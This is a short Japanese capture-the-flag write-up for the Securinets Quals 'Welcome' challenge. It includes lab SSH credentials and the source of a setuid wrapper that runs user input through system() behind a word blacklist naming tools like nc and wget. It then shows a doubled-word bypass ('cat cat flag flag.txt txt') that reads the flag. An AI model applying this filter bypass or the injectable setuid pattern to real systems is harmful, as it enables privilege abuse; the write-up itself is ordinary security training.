sshで接続します。まずlsコマンドを実行してみます。flag.txtやwrapperプログラムがあります。wrapperプログラムを通してパーミッションの無いflag.txtを参照すればよさそうです。Welcome
703
Unlike other CTFs we build a custom welcome for u \o/
Your goal is to execute welcome binary ssh welcome@51.254.114.246
password : bc09c4a0a957b3c6d8adbb47ab0419f7
Author : Anis_Boss
$ ls -altotal 56dr-xr-xr-x 2 welcome welcome 4096 Mar 23 20:23 .drwxr-xr-x 22 root root 4096 Mar 23 23:03 ..-rw-r--r-- 1 root root 0 Mar 24 07:25 .bash_history-rw-r--r-- 1 welcome welcome 0 Mar 24 00:22 .bash_logout-rw-r--r-- 1 welcome welcome 3812 Mar 24 04:46 .bashrc-rw-r--r-- 1 welcome welcome 655 May 16 2017 .profile-r-------- 1 welcome-cracked welcome-cracked 76 Mar 23 20:23 flag.txt-r-------- 1 welcome-cracked welcome 8712 Mar 23 19:09 welcome-rw-r----- 1 root root 175 Mar 23 12:27 welcome.c-r-s--x--- 1 welcome-cracked welcome 13088 Mar 23 20:13 wrapper-rw-r--r-- 1 root root 1741 Mar 23 20:13 wrapper.c
wrapper.cを見てみます。
$ cat wrapper.c/* author : Anis_Boss */#include <stdio.h>int search(char str[], char word[]){int l, i, j;/*length of word */for (l = 0; word[l] != '\0'; l++);for (i = 0, j = 0; str[i] != '\0' && word[j] != '\0'; i++){if (str[i] == word[j]){j++;}else{j = 0;}}if (j == l){/* substring found */return (i - j);}else{return - 1;}}int delete_word(char str[], char word[], int index){int i, l;/* length of word */for (l = 0; word[l] != '\0'; l++);for (i = index; str[i] != '\0'; i++){str[i] = str[i + l + 1];}}void main(int argc, char* argv[]){char * blacklist[]={"cat","head","less","more","cp","man","scp","xxd","dd","od","python","perl","ruby","tac","rev","xz","tar","zip","gzip","mv","flag","txt","python","perl","vi","vim","nano","pico","awk","grep","egrep","echo","find","exec","eval","regexp","tail","head","less","cut","tr","pg","du","`","$","(",")","#","bzip2","cmp","split","paste","diff","fgrep","gawk","iconv","ln","most","open","print","read","{","}","sort","uniq","tee","wget","nc","hexdump","HOSTTYPE","$","arch","env","tmp","dev","shm","lock","run","var","snap","nano","read","readlink","zcat","tailf","zcmp","zdiff","zegrep","zdiff"};char str[80], word[50];int index;printf("Welcome to Securinets Quals CTF \o/ \n");printf("Enter string:\n");read(0,str,79);for (int i=0;i<sizeof(blacklist)/sizeof(blacklist[0]);i++){index = search(str, blacklist[i]);if (index != - 1){delete_word(str, blacklist[i], index);}}setreuid(geteuid(),geteuid());close(0);system(str);}
入力文字列からblacklistに設定された単語を削除してコマンドの実行を防いでいるようですが、同じ単語に関しては最初に登場した単語しか削除していないように見えます。ためしにlsコマンドを2回入力してみます。lsコマンドが効きました。
$ ./wrapperWelcome to Securinets Quals CTF o/Enter string:ls | lsflag.txt welcome welcome.c wrapper wrapper.c
それではcatコマンドでflag.txtを参照します。
$ ./wrapperWelcome to Securinets Quals CTF o/Enter string:cat cat flag flag.txt txtsecurinets{who_needs_exec_flag_when_you_have_linker_reloaded_last_time!!!?}
フラグは、
securinets{who_needs_exec_flag_when_you_have_linker_reloaded_last_time!!!?}